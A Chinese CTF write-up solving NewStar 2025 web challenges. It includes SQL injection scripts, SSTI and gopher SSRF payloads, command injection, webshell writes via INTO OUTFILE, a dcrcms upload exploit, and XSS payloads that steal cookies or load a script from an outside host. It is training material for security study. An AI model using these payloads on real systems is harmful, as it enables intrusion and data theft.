2025-newstar


week1

multi-headach3

根据提示先访问robots.txt,得/hidden.php,然后抓包发包flag在响应头

image-20251003095906858

strange_login

考点:报错注入

简单测试发现是sql单引号闭合,而且有报错,直接打sql 报错注入就行

1
1'/**/or/**/updatexml(1,concat('~',(select/**/database())),1)#
image-20251003102551946
1
1'/**/or/**/updatexml(1,concat('~',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())),1)#
image-20251003102629802
1
1'/**/or/**/updatexml(1,concat('~',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="users")),1)#
image-20251003102706312

然后分别查一下字段没有flag,那根据题目提示说admin登入,显然是要得密码然后登入拿flag

1
1'/**/or/**/updatexml(1,concat('~',(select/**/group_concat(password)/**/from/**/`users`)),1)#

得到a7f8d9e2b3c4f5a6b7c8d9e0f1a2b3c,但是不对??可能是密码太长?没显示全?(显示的字符补全,那我们就分别查询,先查1-10,再查11-20,以此直到查到flag)

1
1'/**/or/**/updatexml(1,concat('~',mid((select/**/group_concat(password)/**/from/**/`users`),1,10)),1)#

查了三段a7f8d9e2b3,c4f5a6b7c8d9e0f1a2b3,d9e0f1a2b3c4显然第三段有点重复,所以拼接得到的密码是a7f8d9e2b3c4f5a6b7c8d9e0f1a2b3c4(直接查password就少一个4,绷不住),然后登入就有flag

黑客小W的故事(1)

考点:delete方法

根据提示抓包。count=1时每次发包多16,count=2时多32,那就直接让count=100,发一次包直接过

image-20251003112904304

替换token到下一关,这一关,进去提示shipin=mogubaozi,还有post传参,参数随便试试,值就是第二关开始对话的那个guding,得到要用delete方法

image-20251003115153909

用delete方法

image-20251107144301776

image-20251107144342097

访问/Level2_END,第三关:注意ua头要加版本

image-20251107144631530

image-20251107144659769

替换cookie得到flag

image-20251107144743639

宇宙的中心是php

考点:intval性质

查看你源码得s3kret.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
    $answer = $_POST['newstar2025'];
    if(intval($answer)!=47&&intval($answer,0)==47){
        echo $flag;
    }else{
        echo "你还未参透奥秘";
    }
}

这就是十进制!=47,自动取整=47,显然利用intval性质,直接赋值0x2f 或 057就行

image-20251003211027519

输入是字符,这时候intval默认是10进制

PHP intval() 函数 | 菜鸟教程

别笑,你也过不了第二关

审计js代码,其实就算改分数

image-20251003211901238

1
2
score = 1000000; // 直接设置分数
scoreEl.innerText = "分数: " + score;

然后分数够了访问flag.php,然后post传参

1
score=1000000 (具体数值取决于通关时的分数)

image-20251003212024144

image-20251003211828579

我真得控制你了

审计js代码,想按按钮没成功,那就直接伪造发包

image-20251003214411239

然后一关弱口令admin/111111绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
    return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
    $input = $_GET['newstar'];
    
    if (is_array($input)) {
        die("恭喜掌握新姿势");
    }
    

    if (preg_match('/[^\d*\/~()\s]/', $input)) {
        die("老套路了,行不行啊");
    }
    

    if (preg_match('/^[\d\s]+$/', $input)) {
        die("请输入有效的表达式");
    }
    
    $test = 0;
    try {
        @eval("\$test = $input;");
    } catch (Error $e) {
        die("表达式错误");
    }
    
    if ($test == 2025) {
        $flag = generate_dynamic_flag($flag_secret);
        echo "<div class='success'>拿下flag!</div>";
        echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
    } else {
        echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
    }
} else {
    ?>
<?php } ?>

代码限制

1
2
3
4
不能是数组:is_array($input) 必须为 false
字符限制:只能包含 \d*\/~()\s(数字、*/~、括号、空格)
不能纯数字:preg_match('/^[\d\s]+$/', $input) 必须为 false
目标:$test 必须等于 2025

那很简单了

1
2025*1		//	2025/1

week2

DD加速器

127.0.0.1;env就行,flag在环境

image-20251007143627000

白帽小K的故事(1)

由提示看源码,知道/v1/onload,/v1/music可以读文件,/v1/upload可以上传文件,上传恶意文件看看

image-20251107150350285

可以上传恶意文件,也可以读

image-20251107154210328

但是不知道路径,咋搞。我们1.php写入phpinfo看看php文件会不会被解析,这个路由只会读取

image-20251107155044414

这个路由成功解析

image-20251107155307006

搞点哦润吉吃吃橘

image-20251007160143196

image-20251007160159396

根据提示发现,start_challenge路由的响应set-cookie中的session作为verify_token中的session才行,然后我们再写代码提取token计算式然后计算提交就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests

def auto_challenge():
    base_url = "https://eci-2ze9i5ld3m7d7x4xrtqn.cloudeci1.ichunqiu.com:5000/"
    
    headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36",
    "Content-Type": "application/json",
    "Cookie": "session=eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiRG9ybyJ9.aOTHvQ.b-mL3B7omr-6O1FRTNHSXya64GM"
    }
    
    session = requests.Session()
    session.headers.update(headers)
    
    try:
        # 1. 启动挑战
        start_response = session.post(f"{base_url}/start_challenge")
        if start_response.status_code != 200:
            return
        
        # 2. 获取新的session cookie
        new_session_cookie = None
        if 'Set-Cookie' in start_response.headers:
            set_cookie = start_response.headers['Set-Cookie']
            if 'session=' in set_cookie:
                new_session_cookie = set_cookie.split('session=')[1].split(';')[0]
                session.cookies.set('session', new_session_cookie)
        
        start_data = start_response.json()
        if "error" in start_data:
            return
        
        # 3. 获取表达式并计算token
        expression = start_data.get("expression", "")
        if not expression or "token =" not in expression:
            return
        
        calc_expr = expression.split("token =")[1].strip()
        token = eval(calc_expr)
        
        # 4. 提交验证
        submit_data = {"token": int(token)}
        submit_headers = {"Cookie": f"session={new_session_cookie}"} if new_session_cookie else headers
        
        submit_response = session.post(f"{base_url}/verify_token", json=submit_data, headers=submit_headers)
        print(submit_response.text)
        
    except Exception as e:
        print(f"错误: {e}")

if __name__ == "__main__":
    auto_challenge()

真的是签到诶

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
highlight_file(__FILE__);

$cipher = $_POST['cipher'] ?? '';

function atbash($text) {
  $result = '';
  foreach (str_split($text) as $char) {
    if (ctype_alpha($char)) {
      $is_upper = ctype_upper($char);
      $base = $is_upper ? ord('A') : ord('a');
      $offset = ord(strtolower($char)) - ord('a');
      $new_char = chr($base + (25 - $offset));
      $result .= $new_char;
    } else {
      $result .= $char;
    }
  }
  return $result;
}

if ($cipher) {
  $cipher = base64_decode($cipher);
  $encoded = atbash($cipher);
  $encoded = str_replace(' ', '', $encoded);
  $encoded = str_rot13($encoded);
  @eval($encoded);
  exit;
}

$question = "真的是签到吗?";
$answer = "真的很签到诶!";

$res =  $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;

?

过程

1
2
3
4
5
Base64解码:$cipher = base64_decode($cipher);
Atbash加密:$encoded = atbash($cipher);
去除空格:$encoded = str_replace(' ', '', $encoded);
ROT13加密:$encoded = str_rot13($encoded);
代码执行:@eval($encoded);

所以逆向代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
// 简化版Payload生成器

function atbash($text) {
    $result = '';
    foreach (str_split($text) as $char) {
        if (ctype_alpha($char)) {
            $is_upper = ctype_upper($char);
            $base = $is_upper ? ord('A') : ord('a');
            $offset = ord(strtolower($char)) - ord('a');
            $new_char = chr($base + (25 - $offset));
            $result .= $new_char;
        } else {
            $result .= $char;
        }
    }
    return $result;
}


$code = "show_source('/flag');";  // print_r(scandir('/'));		绕过空格

// 生成payload - 逆向构造
$rot13_decoded = str_rot13($code);    // ROT13解密 
$atbash_decoded = atbash($rot13_decoded); // Atbash解密,这个函数既是加密也是解密,因为Atbash是自逆的
$payload = base64_encode($atbash_decoded); // Base64编码 

echo "原始代码: $code\n";
echo "ROT13解密: $rot13_decoded\n";
echo "Atbash解密: $atbash_decoded\n";
echo "最终Payload: $payload\n";
echo "POST数据: cipher=$payload\n";

// 验证过程
echo "\n=== 验证过程 ===\n";
$test1 = base64_decode($payload);
echo "Base64解码: $test1\n";
$test2 = atbash($test1);
echo "Atbash加密: $test2\n";
$test3 = str_replace(' ', '', $test2);
echo "去除空格: $test3\n";
$test4 = str_rot13($test3);
echo "ROT13加密: $test4\n";
echo "最终执行: $test4\n";
?>

小E的管理系统1

考点:过滤空格与逗号(join绕过)的sqlite注入

image-20251107162448902

测试发现引号被过滤,那就打数字型看看,空格,/**/,%23,;,逗号,=被过滤

,%0a绕过,order by判断一下,有5列

1
1%0aorder%0aby%0a5
1
1%0aunion%0aselect(database())

发现不是mysql数据库

image-20251107161248284

1%0aunion%0aselect(sqlite_version())发现是sqlite数据库,只是报错列数不一致

image-20251107162210503

由于逗号被禁了用join绕过

1
1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)A%0ajoin%0a(select%0a2)B%0ajoin%0a(select%0a3)C%0ajoin%0a(select%0a4)D%0ajoin%0a(select%0asqlite_version())E

image-20251107165834136

查表

1
1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)A%0ajoin%0a(select%0a2)B%0ajoin%0a(select%0a3)C%0ajoin%0a(select%0a4)D%0ajoin%0a(select%0asql%0afrom%0asqlite_master)E

得到3个表,不过flag肯定在sys_config的可能性大一些

image-20251107170701885

1
1%0aunion%0aselect%0a*%0afrom%0a(select%0a1)A%0ajoin%0a(select%0a2)B%0ajoin%0a(select%0a3)C%0ajoin%0a(select%0a4)D%0ajoin%0a(select%0aconfig_value%0afrom%0a%0asys_config)E

查flag,最后flag在config_value里面

image-20251107170919572

sqlite注入的一点总结-先知社区

GHCTF-web-wp_ghctf 2025-CSDN博客

week3

who’ssti

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from flask import Flask, jsonify, request, render_template_string, render_template
import sys, random

func_List = ["get_close_matches", "dedent", "fmean", 
             "listdir", "search", "randint", "load", "sum", 
             "findall", "mean", "choice"]
need_List = random.sample(func_List, 5)
need_List = dict.fromkeys(need_List, 0)
BoleanFlag = False
RealFlag = __import__("os").environ.get("ICQ_FLAG", "flag{test_flag}")
# 清除 ICQ_FLAG
__import__("os").environ["ICQ_FLAG"] = ""

def trace_calls(frame, event, arg):
  if event == 'call':
    func_name = frame.f_code.co_name
    # print(func_name)
    if func_name in need_List:
      need_List[func_name] = 1
    if all(need_List.values()):
      global BoleanFlag
      BoleanFlag = True
  return trace_calls


app = Flask(__name__)
@app.route('/', methods=["GET", "POST"])
def index():
  submit = request.form.get('submit')
  if submit:
    sys.settrace(trace_calls)
    print(render_template_string(submit))
    sys.settrace(None)
    if BoleanFlag:
      return jsonify({"flag": RealFlag})
    return jsonify({"status": "OK"})
  return render_template_string('''<!DOCTYPE html>
<html lang="zh-cn">
<head>
    <meta charset="UTF-8">
    <title>首页</title>
</head>
<body>
    <h1>提交你的代码,让后端看看你的厉害!</h1>
    <form action="/" method="post">
        <label for="submit">提交一下:</label>
        <input type="text" id="submit" name="submit" required>
        <button type="submit">提交</button>
    </form>
    <div style="margin-top: 20px;">
        <p> 尝试调用到这些函数! </p>
    {% for func in funcList %}
        <p>{{ func }}</p>
    {% endfor %}
    <div style="margin-top: 20px; color: red;">
        <p> 你目前已经调用了 {{ called_funcs|length }} 个函数:</p>
        <ul>
        {% for func in called_funcs %}
            <li>{{ func }}</li>
        {% endfor %}
        </ul>
    </div>
</body>
<script>
    
</script>
</html>

                                '''
                                , 
                                funcList = need_List, called_funcs = [func for func, called in need_List.items() if called])

if __name__ == '__main__':
  app.run(host='0.0.0.0', port=5000, debug=False)

找人替不同于一般的ssti,是要调用页面显示的5个函数才能显示flag,那我们先用url_for(lipsum,cycler也行)拿到内建__import__就可以调用其它函数了

1
2
3
4
5
6
{% set imp = url_for.__globals__['__builtins__']['__import__'] %}
{% set _ = imp('re').findall('a','abc') %}
{% set _ = imp('random').randint(1,2) %}
{% set _ = imp('difflib').get_close_matches('a',['a','b']) %}
{% set _ = imp('textwrap').dedent('  x') %}
{% set _ = imp('statistics').mean([1,2]) %}

image-20251015145935005

mygo!!!

抓包一看就算打ssrf,但是只能用http协议,尝试一番发现打http://127.0.0.1/flag.php出现源码,之后就打file协议就行

image-20251015151338688

小E的秘密计划

考点:信息泄露之查看git已删除的分支+.DS_Store泄露

1
2
git log --all --oneline		//显示所有分支的提交历史
git show 5f8ecc0			//提示与branch有关

image-20251015160856251

1
2
git reflog show --all		//记录所有引用的移动历史,即记录所有操作,包括已删除的分支
git show 353b98f			//发现有个分支被删了,直接看发现密码

image-20251015160636812

1
2
3
4
5
6
7
8
+<?php
+
+function getUserData() {
+    return [
+        'username' => 'admin',
+        'password' => 'f75cc3eb-21e0-4713-9c30-998a8edb13de'
+    ];
+}

之后就是登入

image-20251015163029071

1
/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/

image-20251015163416009

mac会泄露.DS_Store,访问一下

1
secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store

image-20251015194821534

得到flag文件,继续访问

image-20251015200521200

ez-chain

考点:rot13绕过waf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
header('Content-Type: text/html; charset=utf-8');
function filter($file) {
    $waf = array('/',':','php','base64','data','zip','rar','filter','flag');
    foreach ($waf as $waf_word) {
        if (stripos($file, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    return true;
}

function filter_output($data) {
    $waf = array('f');
    foreach ($waf as $waf_word) {
        if (stripos($data, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    while (true) {
        $decoded = base64_decode($data, true);
        if ($decoded === false || $decoded === $data) {
            break;
        }
        $data = $decoded;
    }
    foreach ($waf as $waf_word) {
        if (stripos($data, $waf_word) !== false) {
            echo "waf:".$waf_word;
            return false;
        }
    }
    return true;
}

if (isset($_GET['file'])) {
    $file = $_GET['file'];
    if (filter($file) !== true) {
        die();
    }
    $file = urldecode($file);
    $data = file_get_contents($file);
    if (filter_output($data) !== true) {
        die();
    }
    echo $data;
}
highlight_file(__FILE__);

?>

输入与输出都有waf,输入就双url编码绕过,记住字母也要编码,输出waf就rot13绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
function encode_all_chars($input) {
    $hex = strtoupper(bin2hex($input));
    return '%' . implode('%', str_split($hex, 2));
}

$raw = "php://filter/string.rot13/resource=/flag";
$once = encode_all_chars($raw);
$twice = encode_all_chars($once);

echo $once, "\n", $twice;
?>

image-20251015192901142

结果rot13解码就行

image-20251015193031971

php://filter伪协议(总结)与死亡代码的绕过_php伪协议filter之&txt=-CSDN博客

mirror_gatet

提示flag在flag.php,hint表示something_is_in_/uploads/

image-20251108150710970

那就目录爆破一下uploads/

image-20251108150814098

发现/uploads/.htaccess配置,访问有

image-20251108150831443

显然是将.webp文件解析为php,直接打

1
<?=print_r(scandir('/'));?>

image-20251108151919378

image-20251108151944049

没绷住,flag.php在根目录

接下来就打<?=show_source('/flag.php');?>,然后访问即可。这题我打的很神,压根没仔细想想提示uploads有啥用,直接扫目录,而不是扫uploads目录,其实要是扫到了.htaccess基本打完了

白帽小K的故事(2)

考点:用()绕过空格过滤进行布尔盲注

空格过滤了,而且/,%0a,%0d,%0c,%d,+等等全过滤了,就用括号绕过

1
amiya'and(if(2>1,1,0))#

然后开始写脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

base_url = "https://eci-2ze8n93nw77v9guud8x3.cloudeci1.ichunqiu.com:80/search"

result = ""
i = 0

while True:
    i += 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) // 2  # 使用整数除法

        # 根据需要切换payload
        #payload="select(group_concat(schema_name))from`information_schema`.`schemata`"
        #payload = "sElect(group_concat(table_name))FRom`infOrmation_schema`.`tables`Where(table_schema='Flag')"
        #payload = "sElect(group_concat(column_name))FRom`infOrmation_schema`.`columns`Where(table_name='flag')"
        payload = "sElect(group_concat(flag))FRom(Flag.flag)"      

        # 构造正确的URL字符串(注意去掉了末尾逗号)
        data = {"name":f"amiya'And(Ord(sUbstr(({payload}),{i},1))>{mid})#"}
       

        r = requests.post(url=base_url,data=data)
        
        try:
            resp = r.json()
            is_true = (resp.get('message') == 'Found')
        except Exception:
            is_true = ('Found' in r.text)

        if is_true:
            head = mid + 1
        else:
            tail = mid


    if head != 32:
        result += chr(head)
        print(f"[+] 当前结果: {result}")
    else:
        print(f"[+] 当前结果: {result}")

注意这里默认数据库是Terra,所以要指定数据库为Flag,而且最后也要指定Flag.flag才能得到flag

week4

小羊走迷宫

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "flag.php";
error_reporting(0);
class startPoint{
    public $direction;
    function __wakeup(){
        echo "gogogo出发咯 ";
        $way = $this->direction;
        return $way();
    }
}
class Treasure{
    protected $door;
    protected $chest;
    function __get($arg){
        echo "拿到钥匙咯,开门! ";
        $this -> door -> open();
    }
    function __toString(){
        echo "小羊真可爱! ";
        return $this -> chest -> key;
    }
}
class SaySomething{
    public $sth;
    function __invoke()
    {
        echo "说点什么呢 ";
        return "说: ".$this->sth;
    }
}
class endPoint{
    private $path;
    function __call($arg1,$arg2){
        echo "到达终点!现在尝试获取flag吧"."<br>";
        echo file_get_contents($this->path);
    }
}

if ($_GET["ma_ze.path"]){
    unserialize(base64_decode($_GET["ma_ze.path"]));
}else{
    echo "这个变量名有点奇怪,要怎么传参呢?";
}
?>                

非常简单

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

#error_reporting(0);
class startPoint{
    public $direction;
    function __wakeup(){
        echo "gogogo出发咯 ";
        $way = $this->direction;
        return $way();
    }
}
class Treasure{
    public $door;
    public $chest;
    function __get($arg){
        echo "拿到钥匙咯,开门! ";
        $this -> door -> open();
    }
    function __toString(){
        echo "小羊真可爱! ";
        return $this -> chest -> key;
    }
}
class SaySomething{
    public $sth;
    function __invoke()
    {
        echo "说点什么呢 ";
        return "说: ".$this->sth;
    }
}
class endPoint{
    public $path;
    function __call($arg1,$arg2){
        echo "到达终点!现在尝试获取flag吧"."<br>";
        echo file_get_contents($this->path);
    }
}

$a=new startPoint();
$a->direction=new SaySomething();
$a->direction->sth=new Treasure();
$a->direction->sth->chest=new Treasure();
$a->direction->sth->chest->door =new endPoint();
$a->direction->sth->chest->door->path="php://filter/read=convert.base64-encode/resource=flag.php";

echo base64_encode(serialize($a));
?>                

武功秘籍

网上搜一下就有文章,跟着复现就行

先url/dcr/login.htm,进入登录页面,然后密码爆破,结果是admin/admin

image-20251022143924028

然后添加新闻类

image-20251022144013911

然后添加新闻,上传木马

image-20251022144150894

抓包,改图片类型为Content-Type: image/jpeg,发包

image-20251022144510845

然后找一下文件位置

image-20251022144451357

直接rce就行

image-20251022144752154

参考:dcrcms文件上传(cnvd-2020-27175)_dcrcms 文件上传 (cnvd-2020-27175)-CSDN博客

ssti在哪里?

考点:gopher协议+ssti

题目主要代码3个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$title = "Web网页访问";
$description = "输入URL访问目标网页";

$result = "";
$url = "";

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['url'])) {
    $url = $_POST['url'];
    
    
    $ch = curl_init();
    //配置curl
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $result = curl_exec($ch);
    curl_close($ch);
}

?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
from flask import Flask, request, render_template_string
import os

app = Flask(__name__)

@app.route('/', methods=['GET','POST'])
def index():
    template = request.form.get('template', 'Hello World!')
    return render_template_string(template)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5001)
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from flask import Flask, request
import requests

app = Flask(__name__)

@app.route('/', methods=['GET','POST'])

def handle_request():
    
    name = request.form.get('name','')
    data = {"template":name}
    res = requests.post('http://localhost:5001/',data=data).text
    return res
    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

一眼打gopher协议,而且第三段代码有点多余,直接gopher协议发送数据到5001端口就行

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import urllib.parse
payload =\
"""POST / HTTP/1.1
Host: localhost:5001
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

template={{lipsum.__globals__.os.popen('env').read()}}
"""
 
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://0.0.0.0:5001/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 要进行两次url编码
 

image-20251022161723038

sqlupload

考点:sql之fields terminated by写马

这题其它地方没啥,关键在这代码order参数直接拼接,显然就可以打sql注入

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php

$DB_HOST = getenv('DB_HOST') ?: '127.0.0.1';
$DB_USER = getenv('DB_USER') ?: 'root';
$DB_PASS = getenv('DB_PASS') ?: 'NewStar';
$DB_NAME = getenv('DB_NAME') ?: 'Files';
$DB_PORT = getenv('DB_PORT') ?: 3306;

header('Content-Type: application/json; charset=utf-8');

function json_error($message, $code = 500) {
    http_response_code($code);
    echo json_encode([
        'success' => false,
        'message' => $message,
    ], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

try {
    $mysqli = new mysqli($DB_HOST, $DB_USER, $DB_PASS, $DB_NAME, (int)$DB_PORT);
    if ($mysqli->connect_errno) {
        json_error('数据库连接失败: ' . $mysqli->connect_error, 500);
    }
    $mysqli->set_charset('utf8mb4');
    $order = $_GET['order'] ?? "upload_time";
    if (!preg_match("/upload_time|id/", $order)) {
        json_error("非法的 order 参数", 400);
    }
    $sql = "SELECT id, filename, upload_time
            FROM uploads
            ORDER BY $order";
    $result = $mysqli->query($sql);

    $rows = [];
    if ($result) {
        while ($row = $result->fetch_assoc()) {
            $rows[] = [
                'id' => (int)$row['id'],
                'filename' => $row['filename'],
                'upload_time' => $row['upload_time'],
            ];
        }
        $result->free();
    }

    echo json_encode($rows, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
} catch (Throwable $e) {
    json_error('查询异常: ' . $e->getMessage(), 500);
} finally {
    if (isset($mysqli) && $mysqli instanceof mysqli) {
        $mysqli->close();
    }
}

由于在MySQL中,ORDER BY子句后面只能跟表达式、列名或函数,而不能直接跟一个完整的UNION SELECT语句。UNION必须用于连接两个独立的SELECT查询,若这里UNION被嵌入在ORDER BY中,这违反了SQL语法规则。所以不能用联合注入,那就打盲注,题目说题目在根目录下的flag文件里,直接打

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "https://eci-2zec4wcd4d3ot0jvjvkz.cloudeci1.ichunqiu.com:80/getFileList.php"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'select(load_file("/flag"))'    #查一下默认数据库
        payload_1=f"?order=id %09and%09if((Ord(mid(({payload}),{i},1))>{mid}),sleep(3),0)%23"
        try:
            r = requests.get(url + payload_1, timeout=1)
            tail = mid
        except Exception as e:
            head = mid + 1


    result += chr(head)
    print(result)

发现没有,连猜几个常见的文件名都不行,那肯定是要rce了,但是不能用union如何写马呢,其实去年的newstar就有,只不过那里可以union写马,这里不行,但是刚好我记录了不用union的sql写马方法,如下

MySQL写shell | 狼组安全团队公开知识库

1
/getFileList.php?order=id into outfile '/var/www/html/2.php' FIELDS TERMINATED BY '<?=eval($_REQUEST[1]);?>'

写马只后发现flag读不了,发现readFlag,直接执行

image-20251022192647678

**注意:这里一定要上传了文件,这个马才有用,因为FIELDS TERMINATED BY 不是文件内容,而是字段分隔符!**比如上传一个文件后,uploads表中是

1
id=1, filename=test1.txt, upload_time=2024-01-01 10:00:00

那么生成的 2.php

1
1<?php eval($_POST[1]);?>test1.txt<?php eval($_POST[1]);?>2024-01-01 10:00:00

所以上传一个文件命令执行了2遍,如下

image-20251108195631468

解法二:文件名写马

当然,这题还有解法,我们执行如上payload时,实际是执行

1
SELECT id, filename, upload_time FROM uploads ORDER BY id into outfile '/var/www/html/2.php' 

INTO OUTFILE 语句将 整个查询结果 写入指定文件,所以2.php包含了我们上传文件的文件名和id,时间

我只需要先文件名写马(注意这个文件id=4)

image-20251108192817832

然后执行如下payload,这样3.php就有马了(虽然执行会报错,实际文件已经创建成功,不信你执行第二次发现回显文件已存在)

1
/getFileList.php?order=id into outfile '/var/www/html/3.php' 

访问4.php发现马已经写进去(由于id=4这个文件名是php代码所以没显示)

image-20251108192837707

image-20251108193219388

这题题目给了参考文档,如下:

1
2
3
4
5
6
7
在一般的 SQLi 题目中,可能会出现 flag 不在数据库中的情况,这时你需要通过利用 SQL 中特殊的函数来进行注入。

在羊城杯 2025 中,有一题 Ezsignin,该题利用 SQLite 中的特性,注入恶意语句到数据库中,然后使用 ATTACH 语句将恶意代码注入到 /app/views/upload.ejs 来进行数据库层面之外的攻击(这里指 SSTI)。更多细节可以参见 SQLite Injection.

本题具有类似的原理,但是实践方式更简单,你需要在特定的位置注入你的恶意代码,然后想办法将其保存在可被执行的位置。

本题根目录下的 flag 文件被保护了起来,你需要通过执行 readflag 来获得 flag.

题目从sqlite注入马引导我们进行mysql注入,这里记录一下sqlite数据库注入马

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/d49faf9874bc964e855c2d2ce46764c0552fa99a/SQL%20Injection/SQLite%20Injection.md#attach-database

1
2
3
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ("<?php system($_GET['cmd']); ?>");--

这里记录它的原因是刚好借此复习羊城杯中的sqlite注入,不过那个注入ejs恶意语句

小E的留言板

小括号过滤,on,script过滤

1
'-alert(1)-'
1
" autofofocuscus oonnfofocuscus="var s=document.createElement('scrscriptipt');s.src='https://ujs.ci/ldf';document.head.appendChild(s)
1
<<scrscriptipt>>alert(1)<</scrscriptipt>>
1
&lt;input type="text" value='" onclick=alert(10) type=text'&gt;
1
&lt;a href="%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%27%58%53%53%27%29"&gt;Click me&lt;/a&gt;
1
2
3
4
5
6
7
8
9
<script
>
fetch('/update', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>
1
<img src=1 onerror=alert('xss');>
1
&lt;img src='x' oonnerror='alert(/XSS/);'&gt;
1
2
3
4
5
&lt;img src='x' oonnerror='fetch('/update', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
});'&gt;

从0到1完全掌握XSS | Drunkbaby’s Blog

浅析白盒安全审计中的XSS Fliter | 离别歌

week5

眼熟的计算器

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.example.newstar.controller;

import javax.script.ScriptEngineManager;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;

@Controller
public class NewstarController {
    private String[] BLACKLIST = new String[]{"import", "java.lang.Runtime", "new"};

    private String calculate(String content) throws Exception {
        for(String word : this.BLACKLIST) {
